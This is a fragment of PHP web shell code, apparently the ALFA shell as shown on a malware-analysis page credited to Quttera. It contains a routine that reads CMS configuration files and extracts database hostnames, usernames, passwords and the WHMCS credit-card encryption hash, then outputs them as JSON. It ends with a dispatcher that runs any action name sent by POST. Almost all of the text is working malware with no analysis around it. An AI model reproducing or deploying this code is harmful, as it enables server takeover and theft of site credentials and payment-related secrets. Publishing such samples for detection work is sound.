$srch_user = $config[$cms]['dbuser'][0];
$srch_name = $config[$cms]['dbname'][0];
$srch_pw = $config[$cms]['dbpw'][0];
$prefix = $config[$cms]['prefix'][0];
$file = $config[$cms]['file'];
$chost = $config[$cms]['host'][1];
$cuser = $config[$cms]['dbuser'][1];
$cname = $config[$cms]['dbname'][1];
$cpw = $config[$cms]['dbpw'][1];
$cprefix = $config[$cms]['prefix'][1];
if(@is_dir($path)||_alfa_is_dir($path)){
$file=$path.$file;
}elseif(@is_file($path)||_alfa_is_dir($path,"-e")){
$file=$path;
}else{
return false;
}
$file = __read_file($file);
if($cms == "drupal2"){
$file = preg_replace("/\@code(.*?)\@endcode/s", "", $file);
}elseif($cms == "vb"){
$file = preg_replace("/right of the(.*?)BAD!/s", "", $file);
}
if(preg_match($srch_host, $file, $mach)){
$data['host'] = $mach[$chost];
}
if(preg_match($srch_user, $file, $mach)){
$data['user'] = $mach[$cuser];
}
if(preg_match($srch_name, $file, $mach)){
$data['dbname'] = $mach[$cname];
}
if(preg_match($srch_pw, $file, $mach)){
$data['password'] = $mach[$cpw];
}
if(isset($prefix)){
if(preg_match($prefix, $file, $mach)){
$data['prefix'] = $mach[$cprefix];
}
}
if($cms=='whmcs'){
if(preg_match($config[$cms]['cc_encryption_hash'][0], $file, $mach)){
$data['cc_encryption_hash'] = $mach[3];
}
}
echo json_encode($data);
}
if(empty($_POST['a']))
if(isset($default_action) && function_exists('alfa' . $default_action))
$_POST['a'] = $default_action;
else
$_POST['a'] = 'FilesMan2';
if(!empty($_POST['a']) && function_exists('alfa' . $_POST['a']))
call_user_func('alfa' . $_POST['a']);
exit;
© 2023 Quttera Ltd. All rights reserved.